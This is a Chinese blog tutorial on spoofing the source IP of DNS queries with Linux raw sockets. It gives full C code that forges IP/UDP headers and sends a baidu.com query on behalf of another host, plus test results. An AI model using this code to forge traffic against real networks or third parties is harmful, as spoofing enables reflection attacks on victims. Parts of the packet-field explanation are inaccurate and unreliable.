1000字范文,内容丰富有趣,学习的好帮手!
1000字范文 > linux实现局域网IP欺骗dns域名解析

linux实现局域网IP欺骗dns域名解析

时间:2022-04-15 00:49:49

相关推荐

linux实现局域网IP欺骗dns域名解析

大家可以到我git托管平台clone一份测测看,本人程序小白,有问题欢迎指出,共同进步。/guojunfengcode/udp_raw_socket.git

1.简单的讲一下IP欺骗。

目的是往A发包,一般本应在包里面填充自己的ip地址,在这把ip地址设为B的地址,让A误以为是B地址发的请求包,所以A响应response的时候是往B发包。这就是ip欺骗,主动让A跟B相互联系。

2.那域名解析呢?

只要向网关或都域名服务器的53端口发送一个DNS查询报文,就可以收到服务器响应的报文,解析这个报文就可以得到域名对应的IP地址。在这就需要构建一个DNS查询报文了。

unsigned char DNS[] = {0x11, 0x12, 0x01, 0x00, 0x00, 0x01, 0x00 ,0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x77, 0x77, 0x77, 0x05, 0x62, 0x61, 0x69, 0x64, 0x75, 0x03, 0x63, 0x6F, 0x6D, 0x00,0x00, 0x01, 0x00, 0x01};

这是个百度的DNS查询报文请求。

类似这样的数据是有通用结构的。

11 12 为标识字段01 00 为标志字段,该字段设置了TC表示该报文是可截断的00 01 查询报文数量为100 00 00 00 00 00 表示回答,授权和额外信息都为003 77 77 77 05 62 61 69 64 75 03 63 6F 6D 00 表示查询的名字为 03是本文结束标志 05是请求标志 通用[03 三级域名 05 二级域名 03 顶级域名 00]00 01 为类型,1代表查询IP地址、2代表名字服务器、5代表规范名称、12代表指针记录00 01 为类型,1表示Internet数据

需要注意的是:

标识字段可以自己填充理想值,这个是transaction id,域名服务器会返回一致。

再把域名填充好就可以了,其余数据不用变。

3.利用RawSocket实现ip欺骗效果

socket(AF_INET, SOCK_RAW, IPPROTO_UDP);

使用UDP协议创建原始套接字

现在就要自己实现ip协议头跟udp协议头了,对应结构体可在/usr/include/linux目录下的ip.h和udp.h查看。

struct iphdr {

#if defined(__LITTLE_ENDIAN_BITFIELD)

__u8 ihl:4,

version:4;

#elif defined (__BIG_ENDIAN_BITFIELD)

__u8 version:4,

ihl:4;

#else

#error “Please fix <asm/byteorder.h>”

#endif

__u8 tos;

__be16 -tot_len;

__be16 -id;

__be16 -frag_off;

__u8 ttl;

__u8 protocol;

__be16 -check;

__be32 -saddr;

__be32 -daddr;

};

struct udphdr {

__be16 source;

__be16 dest;

__be16 len;

__sum16 check;

};

注意udp头部check校验和的值需要udp伪头部的。

这个伪首部指,源地址、目的地址、UDP数据长度、协议类型(0x11),协议类型就一个字节,但需要补一个字节的0x0,构成12个字节。

typedef struct

{

u_int32_t src;

u_int32_t des;

u_int8_t zero;

u_int8_t pro;

u_int16_t len;

}UDP_PSEUDO_HEADER;

校验和是依赖12字节的UDP伪首部+8字节的udp首部+数据计算的。

校验和的计算方法,取16的值相加,溢出16位的值就丢弃溢位值,把这溢位值加到后面,重复动作,得到最后的值,取反就是检验和了

4.直接上代码吧

#include <unistd.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/ip.h>#include <netinet/udp.h>#include<memory.h>#include<stdlib.h>#include <linux/if_ether.h>#include <linux/if_packet.h> #include<arpa/inet.h>#include<netinet/if_ether.h>#define PCKT_LEN 100typedef struct{u_int32_t src;u_int32_t des;u_int8_t zero;u_int8_t pro;u_int16_t len;}UDP_PSEUDO_HEADER;unsigned short checksum(unsigned short *buf, int nwords){unsigned long sum;for (sum = 0; nwords > 0; nwords--){sum += *buf++;}sum = (sum >> 16) + (sum & 0xffff);sum += (sum >> 16);return (unsigned short)(~sum);}int main(int argc, char *argv[]){int fd;char buffer[PCKT_LEN] ;unsigned char DNS[] = {0x11, 0x12, 0x01, 0x00, 0x00, 0x01, 0x00 ,0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x77, 0x77, 0x77, 0x05, 0x62, 0x61, 0x69, 0x64, 0x75, 0x03, 0x63, 0x6F, 0x6D, 0x00,0x00, 0x01, 0x00, 0x01};struct iphdr *ip = (struct iphdr *) buffer;struct udphdr *udp = (struct udphdr *) (buffer + sizeof(struct iphdr));struct sockaddr_in sin, din;int one = 1;const int *val = &one;memset(buffer, 0, PCKT_LEN);if (argc != 5) {printf("- Usage %s <source hostname/IP> <source port> <target hostname/IP> <target port>\n", argv[0]);exit(-1);}fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);if (fd < 0) {perror("socket() error");exit(-1);}printf("socket() - Using SOCK_RAW socket and UDP protocol is OK.\n");if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, val, sizeof(int))) {perror("setsockopt() error");exit(-1);}printf("setsockopt() is OK.\n");sin.sin_family = AF_INET;din.sin_family = AF_INET;sin.sin_port = htons(atoi(argv[2]));din.sin_port = htons(atoi(argv[4]));sin.sin_addr.s_addr = inet_addr(argv[1]);din.sin_addr.s_addr = inet_addr(argv[3]);ip->ihl = 5;ip->version = 4;ip->tos = 0;ip->tot_len = ((sizeof(struct iphdr) + sizeof(struct udphdr)+sizeof(DNS)));ip->ttl = 64;ip->protocol = 17;ip->check = 0;ip->saddr = inet_addr(argv[1]);ip->daddr = inet_addr(argv[3]);udp->source = htons(atoi(argv[2]));udp->dest = htons(atoi(argv[4]));udp->len = htons(sizeof(struct udphdr)+sizeof(DNS));char for_udp_check[sizeof(UDP_PSEUDO_HEADER) + sizeof(struct udphdr)+sizeof(DNS)+1] = {0};char * udpchecksum = for_udp_check;memset(udpchecksum, 0, sizeof(UDP_PSEUDO_HEADER) + sizeof(struct udphdr) + sizeof(DNS) + 1);UDP_PSEUDO_HEADER * udp_psd_Header = (UDP_PSEUDO_HEADER *)udpchecksum;udp_psd_Header->src = inet_addr(argv[1]);udp_psd_Header->des = inet_addr(argv[3]);udp_psd_Header->zero = 0;udp_psd_Header->pro = 17;udp_psd_Header->len = htons(sizeof(struct udphdr)+sizeof(DNS));memcpy(udpchecksum + sizeof(UDP_PSEUDO_HEADER), udp, sizeof(struct udphdr));memcpy(udpchecksum + sizeof(UDP_PSEUDO_HEADER) + sizeof(struct udphdr), DNS, sizeof(DNS));udp->check = checksum((unsigned short *)udpchecksum,(sizeof(struct udphdr)+sizeof(UDP_PSEUDO_HEADER)+sizeof(DNS)+1)/2);printf("Source IP: %s port: %u, Target IP: %s port: %u. Ip length: %d\n\n", argv[1], atoi(argv[2]), argv[3], atoi(argv[4]), ip->tot_len);int count;memcpy(buffer + sizeof(struct iphdr) + sizeof(struct udphdr), DNS, sizeof(DNS));for (count = 1; count <= 10; count++){if (sendto(fd, buffer, ip->tot_len, 0, (struct sockaddr *)&din, sizeof(din)) < 0) {perror("sendto() error");exit(-1);} else {printf("Count #%u - sendto() is OK.\n", count);sleep(2);}}close(fd);return 0;}

5.测试结果

查看宿主机的ip是192.168.1.8

在centos上发了一个源地址192.168.1.8发往域名服务器114.114.114.114的53端口。

在宿主机捉包看看有没响应成功。。。

可以看到是成功响应的。响应的域名解析地址是14.215.177.38和14.215.177.39,这俩个都是百度在广东省内电信的域名地址。

也可以ping 看下是否一样。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。